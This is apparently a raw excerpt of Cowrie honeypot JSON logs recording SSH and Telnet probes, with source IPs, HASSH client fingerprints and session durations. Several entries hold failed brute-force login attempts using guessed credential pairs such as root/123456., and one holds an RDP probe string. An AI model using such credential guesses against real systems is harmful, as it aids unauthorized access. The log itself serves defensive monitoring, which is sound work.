{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:36.469096Z","src_ip":"2.57.121.112","session":"8a737a7890f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52244,"dst_ip":"159.203.135.109","dst_port":22,"session":"91561e9b0abb","protocol":"ssh","message":"New connection: 2.57.122.238:52244 (159.203.135.109:22) [session: 91561e9b0abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:37.144275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:37.150087Z","src_ip":"2.57.122.238","session":"91561e9b0abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:37.250206Z","src_ip":"2.57.122.238","session":"91561e9b0abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:37.553334Z","src_ip":"2.57.122.238","session":"91561e9b0abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:38.655216Z","src_ip":"2.57.122.238","session":"91561e9b0abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.720247745513916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.477032Z","src_ip":"34.79.120.63","session":"fc683d132849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.15537714958191,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.526529Z","src_ip":"34.79.120.63","session":"2a04a7cb1356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.314719200134277,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.530850Z","src_ip":"34.79.120.63","session":"e4d4d3546c94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.631793975830078,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.536755Z","src_ip":"34.79.120.63","session":"9b27b486f323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.951554298400879,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.540385Z","src_ip":"34.79.120.63","session":"bb40a7c954a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.266659259796143,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.546166Z","src_ip":"34.79.120.63","session":"467ec2446037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.804798126220703,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.549677Z","src_ip":"34.79.120.63","session":"837b65c69db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.119035482406616,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.553207Z","src_ip":"34.79.120.63","session":"632e368d2f60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.0598726272583,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.556347Z","src_ip":"34.79.120.63","session":"45d1a321ca61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.439742088317871,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.559524Z","src_ip":"34.79.120.63","session":"74f7039c6b2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.59786868095398,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.562225Z","src_ip":"34.79.120.63","session":"6d20422140ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.75615906715393,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.565067Z","src_ip":"34.79.120.63","session":"e2af8ed96468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.913208246231079,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.567046Z","src_ip":"34.79.120.63","session":"fc7b303182cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.233064889907837,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.570034Z","src_ip":"34.79.120.63","session":"b49d1394c633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.548623323440552,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.572988Z","src_ip":"34.79.120.63","session":"ebcd381e6d28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.396398067474365,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.576598Z","src_ip":"34.79.120.63","session":"fccbd49b9b6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.70807933807373,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.578761Z","src_ip":"34.79.120.63","session":"6d92cca5c1b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.020174503326416,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.581002Z","src_ip":"34.79.120.63","session":"93bba533235e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.25710654258728,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.583699Z","src_ip":"34.79.120.63","session":"694e59452ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.57255220413208,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.586648Z","src_ip":"34.79.120.63","session":"e51b85a25fd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.41952919960022,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.589774Z","src_ip":"34.79.120.63","session":"437ccbcfce97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.733661413192749,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.592382Z","src_ip":"34.79.120.63","session":"617be53d4c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.055562496185303,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.603359Z","src_ip":"34.79.120.63","session":"e6a5736e4282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.90346646308899,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.606837Z","src_ip":"34.79.120.63","session":"950c5b322029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.216588497161865,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.609990Z","src_ip":"34.79.120.63","session":"d34994d14b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.386969804763794,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.625467Z","src_ip":"34.79.120.63","session":"821b71f95e50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.546775102615356,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:46.628397Z","src_ip":"34.79.120.63","session":"3b3bc2c2eb19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.50.235.136","src_port":15790,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f4632a86651","protocol":"ssh","message":"New connection: 194.50.235.136:15790 (10.17.0.5:22) [session: 1f4632a86651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:53.051750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:53.055837Z","src_ip":"194.50.235.136","session":"1f4632a86651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:53.129660Z","src_ip":"194.50.235.136","session":"1f4632a86651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:49:53.208489Z","src_ip":"194.50.235.136","session":"1f4632a86651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36776,"dst_ip":"10.17.0.5","dst_port":23,"session":"e018a91e56d3","protocol":"telnet","message":"New connection: 192.119.13.58:36776 (10.17.0.5:23) [session: e018a91e56d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:03.410509Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42478,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b237065b6c","protocol":"ssh","message":"New connection: 80.94.92.186:42478 (159.203.135.109:22) [session: 39b237065b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:14.420419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:14.529448Z","src_ip":"80.94.92.186","session":"39b237065b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:14.663318Z","src_ip":"80.94.92.186","session":"39b237065b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:15.280972Z","src_ip":"80.94.92.186","session":"39b237065b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:16.515715Z","src_ip":"80.94.92.186","session":"39b237065b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63777,"dst_ip":"159.203.135.109","dst_port":22,"session":"c34320fc3591","protocol":"ssh","message":"New connection: 152.42.212.128:63777 (159.203.135.109:22) [session: c34320fc3591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:27.262492Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:27.271094Z","src_ip":"152.42.212.128","session":"c34320fc3591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:27.275646Z","src_ip":"152.42.212.128","session":"c34320fc3591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.259456396102905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:36.669778Z","src_ip":"192.119.13.58","session":"e018a91e56d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46968,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6a3f8f9c053","protocol":"ssh","message":"New connection: 103.27.238.120:46968 (159.203.135.109:22) [session: e6a3f8f9c053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:47.667723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:47.672974Z","src_ip":"103.27.238.120","session":"e6a3f8f9c053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:47.924519Z","src_ip":"103.27.238.120","session":"e6a3f8f9c053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.","message":"login attempt [root/123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:48.678278Z","src_ip":"103.27.238.120","session":"e6a3f8f9c053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:49.932949Z","src_ip":"103.27.238.120","session":"e6a3f8f9c053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":36628,"dst_ip":"159.203.135.109","dst_port":22,"session":"95ae7a8eb3d0","protocol":"ssh","message":"New connection: 109.172.54.111:36628 (159.203.135.109:22) [session: 95ae7a8eb3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:57.700708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:57.709186Z","src_ip":"109.172.54.111","session":"95ae7a8eb3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:57.816816Z","src_ip":"109.172.54.111","session":"95ae7a8eb3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:58.119667Z","src_ip":"109.172.54.111","session":"95ae7a8eb3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:50:59.222147Z","src_ip":"109.172.54.111","session":"95ae7a8eb3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":54324,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cc267eb6f95","protocol":"ssh","message":"New connection: 79.127.181.44:54324 (10.17.0.5:22) [session: 3cc267eb6f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:03.392520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:03.602416Z","src_ip":"79.127.181.44","session":"3cc267eb6f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:51:03.806840Z","src_ip":"79.127.181.44","session":"3cc267eb6f95","protocol":"ssh"}
